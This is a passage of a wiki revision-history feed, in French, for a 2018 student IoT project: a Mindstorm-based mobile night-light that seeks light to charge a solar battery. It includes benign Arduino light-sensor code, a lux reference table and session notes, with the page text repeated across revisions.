Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|200px|thumb|left|texte descriptif]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Mindstorm_code.jpg&amp;diff=46840</id>
		<title>Fichier:Mindstorm code.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Mindstorm_code.jpg&amp;diff=46840"/>
				<updated>2018-01-23T23:19:06Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46839</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46839"/>
				<updated>2018-01-23T23:18:46Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la cinquième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46838</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46838"/>
				<updated>2018-01-23T22:48:53Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Poster */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
